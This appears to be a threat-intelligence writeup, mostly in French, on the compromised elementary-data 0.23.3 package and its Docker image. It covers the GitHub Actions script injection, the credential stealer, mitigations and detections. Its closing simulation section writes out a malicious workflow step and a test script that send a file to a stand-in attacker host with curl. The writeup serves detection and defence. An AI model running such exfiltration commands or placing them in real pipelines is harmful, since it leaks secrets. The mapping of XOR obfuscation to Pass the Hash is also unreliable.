Elementary-data Compromis via Libération GitHub Forgée
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une version malveillante du package Python elementary-data version 0.23.3, a été téléchargée sur PyPI, tandis qu’une image de conteneur compromise correspondante a également été poussée sur GitHub Container Registry. L’attaquant a inséré du code malveillant dans un workflow GitHub Actions, forgé une version signée, puis abusé du jeton de workflow pour publier les artefacts piégés. La charge utile fonctionnait comme un voleur d’informations d’identification en trois étapes conçu pour collecter des secrets et les exfiltrer vers un domaine contrôlé par l’attaquant. Tout environnement ayant installé le package affecté ou tiré l’image de conteneur la plus récente était exposé à une compromission.
Enquête
L’enquête a révélé que l’attaque a commencé par un commentaire sur une demande de tirage ouverte qui a été inséré directement dans un script de workflow, permettant l’injection de script. En utilisant le GITHUB_TOKENdu workflow, l’attaquant a créé un commit de version forgé et déclenché le processus de publication, qui a ensuite distribué la roue trojanisée et l’image Docker. L’analyse a montré qu’un fichier .pth malveillant a décodé un wrapper Base64, décrypté le composant final de la collecte, et récolté un large ensemble d’identifiants avant de les envoyer à un domaine de commande et contrôle personnalisé via curl.
Atténuation
Les responsables du projet ont retiré la version malveillante du package de PyPI et supprimé l’image compromise de GHCR avant de publier un remplacement propre, version 0.23.4. StepSecurity a ajouté la version malveillante du package et le domaine contrôlé par l’attaquant à la liste de blocage de Harden-Runner et a bloqué le package pendant l’exécution de la demande de tirage. Les développeurs devraient fixer les versions exactes des packages et des digest d’images, éviter de se fier à des étiquettes volantes, et auditer les dépendances installées pour des .pth fichiers
imprévus.
Les défenseurs devraient rechercher la présence de elementary.pth à l’intérieur des site-packages et identifier les systèmes qui ont téléchargé la hachure d’image Docker suspecte. Les connexions sortantes vers le domaine de commande et contrôle connu devraient être immédiatement bloquées. Les équipes de sécurité devraient scanner les stations de travail des développeurs et les environnements de construction pour les matériaux secrets exposés, retirer tous les packages compromis et renouveler les identifiants affectés. Les pipelines CI/CD devraient également être mis à jour pour valider la provenance des packages et appliquer un pinning strict des images.
graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[« <b>Action</b> – <b>T1195.002 Compromission de la Chaîne d’Approvisionnement</b><br/>L’attaquant publie la version malveillante 0.23.3 de elementary-data sur PyPI et pousse une image Docker trojanisée vers GHCR en utilisant le pipeline légitime du projet. »] class node_supply_chain action node_exploit_cred[« <b>Action</b> – <b>T1212 Exploitation pour l’Accès aux Identifiants</b><br/>Une injection de script dans un workflow GitHub Actions via un commentaire manipulé exécute un stager curl | bash, exploitant le GITHUB_TOKEN pour créer un commit de release falsifié. »] class node_exploit_cred action node_implant_image[« <b>Action</b> – <b>T1525 Implantation d’Image Interne</b><br/>L’image Docker malveillante (tag latest) est téléchargée et exécutée, fournissant un environnement persistant malveillant. »] class node_implant_image action node_user_exec[« <b>Action</b> – <b>T1204.003 Exécution Utilisateur : Image Malveillante</b><br/>Les conteneurs instanciés à partir de l’image compromise exécutent automatiquement le payload au démarrage. »] class node_user_exec action node_cred_files[« <b>Action</b> – <b>T1552.001 Identifiants Non Sécurisés : Identifiants dans les Fichiers</b><br/>Le payload collecte des clés SSH, des identifiants cloud, des configurations Docker et Kubernetes et d’autres fichiers sensibles. »] class node_cred_files action node_private_keys[« <b>Action</b> – <b>T1552.004 Identifiants Non Sécurisés : Clés Privées</b><br/>Collecte spécifique des fichiers de clés privées depuis les répertoires .ssh et wallet. »] class node_private_keys action node_archive[« <b>Action</b> – <b>T1560 Archivage des Données Collectées</b><br/>Les données collectées sont compressées dans une archive tar-gz. »] class node_archive action node_archive_lib[« <b>Action</b> – <b>T1560.002 Archivage via Bibliothèque</b><br/>Utilise la bibliothèque tar pour créer trin.tar.gz. »] class node_archive_lib action node_obfusc[« <b>Action</b> – <b>T1027.015 Fichiers ou Informations Obfusqués : Compression</b><br/>Le fichier .pth malveillant est encodé en base64 et chiffré avec XOR-MD5. »] class node_obfusc action node_pass_hash[« <b>Action</b> – <b>T1550.002 Utilisation de Matériel d’Authentification Alternatif : Pass the Hash</b><br/>Le payload utilise un chiffrement XOR avec flux MD5 pour masquer ses étapes. »] class node_pass_hash action node_exfil[« <b>Action</b> – <b>T1048 Exfiltration via Protocole Alternatif</b><br/>L’archive est exfiltrée via une requête curl POST vers le domaine C2. »] class node_exfil action %% Tools tool_pypi[« <b>Outil</b> – <b>Nom</b>: PyPI<br/><b>Type</b>: Dépôt de paquets Python »] class tool_pypi tool tool_ghcr[« <b>Outil</b> – <b>Nom</b>: GitHub Container Registry (GHCR)<br/><b>Type</b>: Registre d’images Docker »] class tool_ghcr tool tool_github_actions[« <b>Outil</b> – <b>Nom</b>: GitHub Actions<br/><b>Type</b>: Moteur CI/CD »] class tool_github_actions tool tool_curl[« <b>Outil</b> – <b>Nom</b>: curl<br/><b>Type</b>: Utilitaire en ligne de commande »] class tool_curl tool tool_bash[« <b>Outil</b> – <b>Nom</b>: bash<br/><b>Type</b>: Interpréteur shell »] class tool_bash tool %% Malware malware_docker_image[« <b>Malware</b> – <b>Nom</b>: Image Docker Malveillante<br/><b>Tag</b>: latest »] class malware_docker_image malware malware_payload[« <b>Malware</b> – <b>Nom</b>: Fichier Payload .pth<br/><b>Obfuscation</b>: Base64 + XOR-MD5 »] class malware_payload malware %% Connections (unchanged) node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl
Flux d’attaque
Detections
Infiltration / Exfiltration de données possibles / C2 via des services / outils tiers (via proxy)
Voir
Infiltration / Exfiltration de données possibles / C2 via des services / outils tiers (via dns)
Voir
Téléchargement / Téléversement de fichiers à distance via des outils standards (via ligne de commande)
Voir
IOCs (HashSha1) pour détecter : elementary-data compromis sur PyPI et GHCR : Version forgée poussée via injection de script GitHub Actions
Voir
Détection de l’exfiltration de données malveillante via injection de script dans GitHub Actions [Création de processus Linux]
Voir
Détection du package elementary-data malveillant avec voleur d’identifiants [Événement de fichier Linux]
Voir
## Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker has compromised a repository that uses GitHub Actions for CI/CD. They add a malicious step to the workflow file:- name: Exfiltrate data run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"When the workflow runs on the GitHub Actions runner, the process tree looks like:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(parent process)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(child process)
The
auditdrecord for step 2 contains a command line with bothbashandcurl --data-binary, satisfying the Sigma condition. -
Regression Test Script:
#!/usr/bin/env bash # # Simulate the malicious GitHub Actions step that should trigger the detection rule. # Creates a temporary file, writes dummy data, then exfiltrates it via curl wrapped in bash. set -euo pipefail # 1. Create dummy secret data tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. Perform the exfiltration using the vulnerable pattern bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Output confirmation for the tester echo "Malicious exfiltration simulated; temp file $tmpfile should be deleted by cleanup." -
Cleanup Commands:
#!/usr/bin/env bash # Remove any temporary files created during the simulation rm -f /tmp/secret_data.* # Optionally, stop any lingering curl processes (should not be needed) pkill -f "curl --data-binary" || true